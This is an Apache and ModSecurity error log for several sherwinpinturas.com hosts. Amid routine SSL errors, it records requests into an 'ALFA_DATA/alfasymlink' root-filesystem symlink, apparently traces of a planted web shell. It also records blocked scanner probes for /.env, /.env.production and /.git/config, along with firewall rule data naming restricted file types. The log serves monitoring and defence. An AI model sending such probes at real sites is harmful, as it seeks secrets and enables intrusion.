[Mon Oct 26 06:30:16.839948 2026] [security2:error] [pid 3010067:tid 3010067] [client 107.172.76.131:53043] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8rrVwJcrReXfrIodgzKwAAABI"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 06:30:16.840048 2026] [security2:error] [pid 3010067:tid 3010067] [client 107.172.76.131:53043] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8rrVwJcrReXfrIodgzKwAAABI"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 06:30:18.130461 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 54.145.82.217:58685] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:30:26.141686 2026] [ssl:error] [pid 3011490:tid 3011490] (70014)End of file found: [client 100.29.160.53:38588] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:30:38.165665 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 52.3.127.170:1297] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:30:54.140363 2026] [ssl:error] [pid 3010062:tid 3010062] (70014)End of file found: [client 3.210.29.96:6786] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:31:14.149209 2026] [ssl:error] [pid 3010062:tid 3010062] (70014)End of file found: [client 54.197.178.107:52114] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:31:20.230007 2026] [core:error] [pid 3010067:tid 3010067] (13)Permission denied: [client 185.191.171.19:39890] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/uhci_urb_priv/usersize
[Mon Oct 26 06:31:22.151895 2026] [ssl:error] [pid 3008498:tid 3008498] (70014)End of file found: [client 3.216.86.144:51506] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:31:26.160991 2026] [ssl:error] [pid 3010062:tid 3010062] (70014)End of file found: [client 18.209.201.119:59166] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:31:30.172234 2026] [ssl:error] [pid 3010067:tid 3010067] (70014)End of file found: [client 44.215.210.112:65446] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:31:38.153983 2026] [ssl:error] [pid 3011354:tid 3011354] (70014)End of file found: [client 23.23.99.55:26781] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:31:46.158116 2026] [ssl:error] [pid 3010067:tid 3010067] (70014)End of file found: [client 18.215.77.19:21416] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:31:51.750519 2026] [security2:error] [pid 3011354:tid 3011354] [client 185.191.171.5:30320] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sys"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/mysql/hindi/errmsg.sys"] [unique_id "at8sF1niGvaQgsARmtzd3AAAAAM"]
[Mon Oct 26 06:31:51.750957 2026] [security2:error] [pid 3011354:tid 3011354] [client 185.191.171.5:30320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/mysql/hindi/errmsg.sys"] [unique_id "at8sF1niGvaQgsARmtzd3AAAAAM"]
[Mon Oct 26 06:31:51.751357 2026] [security2:error] [pid 3011354:tid 3011354] [client 185.191.171.5:30320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/mysql/hindi/errmsg.sys"] [unique_id "at8sF1niGvaQgsARmtzd3AAAAAM"]
[Mon Oct 26 06:31:58.146622 2026] [ssl:error] [pid 3010062:tid 3010062] (70014)End of file found: [client 3.223.134.5:63677] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:32:02.145573 2026] [ssl:error] [pid 3007564:tid 3007564] (70014)End of file found: [client 52.4.238.8:45055] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:32:06.138128 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 3.221.222.168:41673] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:32:18.326737 2026] [ssl:error] [pid 3007564:tid 3007564] (70014)End of file found: [client 52.21.62.139:33624] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:32:26.154928 2026] [ssl:error] [pid 3011490:tid 3011490] (70014)End of file found: [client 34.192.125.239:60968] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:32:54.154048 2026] [ssl:error] [pid 3000174:tid 3000174] (70014)End of file found: [client 54.87.62.248:62898] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:33:02.140814 2026] [core:error] [pid 3011490:tid 3011490] (13)Permission denied: [client 54.88.84.219:2890] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/rescan
[Mon Oct 26 06:33:06.161256 2026] [ssl:error] [pid 3007564:tid 3007564] (70014)End of file found: [client 54.156.55.147:54942] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:33:18.150367 2026] [ssl:error] [pid 3007564:tid 3007564] (70014)End of file found: [client 3.89.170.186:30588] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:33:26.221946 2026] [ssl:error] [pid 3008090:tid 3008090] (70014)End of file found: [client 34.225.138.57:45757] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:33:42.259231 2026] [ssl:error] [pid 3010063:tid 3010063] (22)Invalid argument: [client 3.93.253.174:14740] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:33:46.170263 2026] [ssl:error] [pid 3008090:tid 3008090] (70014)End of file found: [client 3.215.221.125:35277] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:33:50.291783 2026] [ssl:error] [pid 3011490:tid 3011490] (70014)End of file found: [client 23.23.99.55:23596] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:33:54.137514 2026] [core:error] [pid 3008498:tid 3008498] (13)Permission denied: [client 3.81.253.213:21092] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/physical_node/subsystem/drivers/uhci_hcd/module/uevent
[Mon Oct 26 06:33:58.149797 2026] [ssl:error] [pid 3010063:tid 3010063] (70014)End of file found: [client 52.21.62.139:19304] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:34:02.133421 2026] [ssl:error] [pid 3008090:tid 3008090] (22)Invalid argument: [client 52.5.242.243:30442] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:34:14.130798 2026] [ssl:error] [pid 3015725:tid 3015725] (70014)End of file found: [client 3.94.156.104:53074] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:34:18.339725 2026] [ssl:error] [pid 3010062:tid 3010062] (70014)End of file found: [client 3.225.45.252:20157] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:34:23.525601 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 85.208.96.210:29102] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:34:26.147340 2026] [ssl:error] [pid 3011490:tid 3011490] (70014)End of file found: [client 44.194.134.53:37887] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:34:38.336998 2026] [ssl:error] [pid 3010062:tid 3010062] (70014)End of file found: [client 98.83.8.142:40301] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:34:46.200287 2026] [ssl:error] [pid 3000174:tid 3000174] (70014)End of file found: [client 52.71.216.196:38878] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:35:02.169649 2026] [ssl:error] [pid 3008498:tid 3008498] (70014)End of file found: [client 23.21.175.228:50210] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:35:10.155261 2026] [ssl:error] [pid 3007564:tid 3007564] (70014)End of file found: [client 18.206.47.187:46038] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:35:14.131366 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 35.174.141.243:11407] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:35:18.137016 2026] [ssl:error] [pid 3000174:tid 3000174] (70014)End of file found: [client 35.174.253.85:20129] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:35:22.277648 2026] [ssl:error] [pid 3010062:tid 3010062] (70014)End of file found: [client 54.84.93.8:6309] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:35:26.137372 2026] [ssl:error] [pid 3007564:tid 3007564] (70014)End of file found: [client 34.236.41.241:48090] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:35:30.402973 2026] [ssl:error] [pid 3010063:tid 3010063] (70014)End of file found: [client 52.205.141.124:49556] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:35:34.131994 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 3.94.40.182:14245] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:35:38.302134 2026] [core:error] [pid 3000174:tid 3000174] (13)Permission denied: [client 54.204.12.115:17853] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/device:03/physical_node/rom
[Mon Oct 26 06:35:42.143378 2026] [ssl:error] [pid 3015725:tid 3015725] (70014)End of file found: [client 54.235.125.129:5570] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:35:46.806622 2026] [core:error] [pid 3007564:tid 3007564] (13)Permission denied: [client 52.54.157.23:26990] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/devices/0000:00:03.0/rescan
[Mon Oct 26 06:36:06.112938 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 44.223.193.255:61154] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:36:10.207731 2026] [ssl:error] [pid 3008090:tid 3008090] (70014)End of file found: [client 52.71.216.196:5024] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:36:18.184991 2026] [ssl:error] [pid 3015803:tid 3015803] (70014)End of file found: [client 35.169.119.108:63912] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:36:26.128800 2026] [ssl:error] [pid 3015725:tid 3015725] (70014)End of file found: [client 3.214.176.44:15598] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:36:33.006794 2026] [core:error] [pid 3008498:tid 3008498] (13)Permission denied: [client 85.208.96.210:38000] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tw_sock_TCPv6/min_partial
[Mon Oct 26 06:36:34.164221 2026] [ssl:error] [pid 3011490:tid 3011490] (70014)End of file found: [client 3.215.59.93:64800] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:36:38.294021 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 35.174.253.85:26551] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:36:46.129036 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 54.156.248.117:50401] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:36:50.131477 2026] [ssl:error] [pid 3011354:tid 3011354] (70014)End of file found: [client 54.144.185.255:28862] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:36:58.136234 2026] [ssl:error] [pid 3015725:tid 3015725] (70014)End of file found: [client 34.235.239.240:54749] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:37:06.145121 2026] [ssl:error] [pid 3010062:tid 3010062] (70014)End of file found: [client 54.87.62.248:26042] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:37:10.145049 2026] [ssl:error] [pid 3010063:tid 3010063] (70014)End of file found: [client 3.222.190.107:62050] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:37:22.149345 2026] [ssl:error] [pid 3015725:tid 3015725] (70014)End of file found: [client 34.233.219.155:53125] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:37:30.292496 2026] [ssl:error] [pid 3011354:tid 3011354] (70014)End of file found: [client 44.210.204.255:62260] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:37:34.132935 2026] [ssl:error] [pid 3000174:tid 3000174] (70014)End of file found: [client 3.93.211.16:40229] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:38:06.135571 2026] [ssl:error] [pid 3010062:tid 3010062] (70014)End of file found: [client 35.171.117.160:57418] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:38:08.059905 2026] [security2:error] [pid 3007564:tid 3007564] [client 45.148.10.122:39850] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at8tkEquvNT1wdzv9kW_eQAAAAE"]
[Mon Oct 26 06:38:08.060203 2026] [security2:error] [pid 3007564:tid 3007564] [client 45.148.10.122:39850] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at8tkEquvNT1wdzv9kW_eQAAAAE"]
[Mon Oct 26 06:38:08.060559 2026] [security2:error] [pid 3007564:tid 3007564] [client 45.148.10.122:39850] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at8tkEquvNT1wdzv9kW_eQAAAAE"]
[Mon Oct 26 06:38:08.346460 2026] [security2:error] [pid 3011354:tid 3011354] [client 45.148.10.122:39860] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at8tkFniGvaQgsARmtzd5AAAAAM"]
[Mon Oct 26 06:38:08.346696 2026] [security2:error] [pid 3011354:tid 3011354] [client 45.148.10.122:39860] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at8tkFniGvaQgsARmtzd5AAAAAM"]
[Mon Oct 26 06:38:08.347007 2026] [security2:error] [pid 3011354:tid 3011354] [client 45.148.10.122:39860] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at8tkFniGvaQgsARmtzd5AAAAAM"]
[Mon Oct 26 06:38:08.629873 2026] [security2:error] [pid 2995190:tid 2995190] [client 45.148.10.122:39876] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at8tkB_ViEB4VmIsS1QXBQAAAAw"]
[Mon Oct 26 06:38:08.630189 2026] [security2:error] [pid 2995190:tid 2995190] [client 45.148.10.122:39876] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at8tkB_ViEB4VmIsS1QXBQAAAAw"]
[Mon Oct 26 06:38:08.630513 2026] [security2:error] [pid 2995190:tid 2995190] [client 45.148.10.122:39876] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at8tkB_ViEB4VmIsS1QXBQAAAAw"]
[Mon Oct 26 06:38:10.218583 2026] [security2:error] [pid 3007564:tid 3007564] [client 45.148.10.122:39924] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at8tkkquvNT1wdzv9kW_egAAAAE"]
[Mon Oct 26 06:38:10.218851 2026] [security2:error] [pid 3007564:tid 3007564] [client 45.148.10.122:39924] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at8tkkquvNT1wdzv9kW_egAAAAE"]
[Mon Oct 26 06:38:10.219167 2026] [security2:error] [pid 3007564:tid 3007564] [client 45.148.10.122:39924] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at8tkkquvNT1wdzv9kW_egAAAAE"]
[Mon Oct 26 06:38:36.751582 2026] [security2:error] [pid 3010074:tid 3010074] [client 107.172.76.131:53089] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8tnyz2IVlcktcA6K038gAAABg"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 06:38:36.751645 2026] [security2:error] [pid 3010074:tid 3010074] [client 107.172.76.131:53089] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8tnyz2IVlcktcA6K038gAAABg"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 06:38:38.158668 2026] [ssl:error] [pid 3011490:tid 3011490] (70014)End of file found: [client 3.214.176.44:40081] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:38:43.475292 2026] [ssl:error] [pid 3010063:tid 3010063] (70014)End of file found: [client 185.191.171.14:20678] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:38:50.196710 2026] [ssl:error] [pid 3015803:tid 3015803] (70014)End of file found: [client 52.200.93.170:21032] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:39:10.453657 2026] [ssl:error] [pid 3011354:tid 3011354] (70014)End of file found: [client 34.234.197.175:48047] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:39:22.270051 2026] [ssl:error] [pid 3010062:tid 3010062] (70014)End of file found: [client 18.213.240.226:44015] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:39:26.943757 2026] [core:error] [pid 3011354:tid 3011354] (13)Permission denied: [client 52.0.218.219:33773] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/device:03/physical_node/rescan
[Mon Oct 26 06:39:33.123408 2026] [core:error] [pid 3011490:tid 3011490] (13)Permission denied: [client 85.208.96.197:62322] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/khugepaged_mm_slot/objects
[Mon Oct 26 06:39:50.544657 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 3.221.222.168:33430] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:39:54.443150 2026] [ssl:error] [pid 3008090:tid 3008090] (70014)End of file found: [client 54.80.73.122:41801] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:39:58.323893 2026] [ssl:error] [pid 3011490:tid 3011490] (70014)End of file found: [client 100.28.118.16:64551] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:40:02.284041 2026] [ssl:error] [pid 3007564:tid 3007564] (70014)End of file found: [client 54.147.80.137:15972] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:40:06.513568 2026] [ssl:error] [pid 3011354:tid 3011354] (70014)End of file found: [client 54.157.99.244:9654] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:40:10.288151 2026] [ssl:error] [pid 3015725:tid 3015725] (70014)End of file found: [client 34.192.125.239:29982] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:40:14.468375 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 184.73.239.35:17183] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:40:18.428102 2026] [core:error] [pid 3008090:tid 3008090] (13)Permission denied: [client 34.194.165.45:50270] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory18/node0/subsystem/uevent
[Mon Oct 26 06:40:30.734755 2026] [ssl:error] [pid 3011354:tid 3011354] (70014)End of file found: [client 18.232.36.1:29678] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:40:38.478181 2026] [ssl:error] [pid 3011490:tid 3011490] (70014)End of file found: [client 44.208.223.68:33885] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:40:42.580312 2026] [ssl:error] [pid 3011354:tid 3011354] (70014)End of file found: [client 52.203.68.145:28418] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:40:54.315089 2026] [ssl:error] [pid 3000174:tid 3000174] (70014)End of file found: [client 3.210.223.61:50686] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:41:06.608767 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 52.4.238.8:25908] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:41:14.327201 2026] [ssl:error] [pid 3008498:tid 3008498] (70014)End of file found: [client 54.225.199.17:38785] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:41:54.622466 2026] [ssl:error] [pid 3011490:tid 3011490] (70014)End of file found: [client 3.94.199.128:18360] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:41:58.476165 2026] [ssl:error] [pid 3010063:tid 3010063] (70014)End of file found: [client 34.205.170.13:60582] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:42:02.528842 2026] [ssl:error] [pid 3011354:tid 3011354] (70014)End of file found: [client 52.3.156.186:33427] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:42:06.408936 2026] [ssl:error] [pid 3008090:tid 3008090] (70014)End of file found: [client 98.83.94.113:15773] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:42:10.666612 2026] [ssl:error] [pid 3011490:tid 3011490] (70014)End of file found: [client 34.239.197.197:57478] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:42:18.448606 2026] [ssl:error] [pid 3011354:tid 3011354] (70014)End of file found: [client 44.221.37.41:34442] AH02013: coalesce failed to read from data bucket
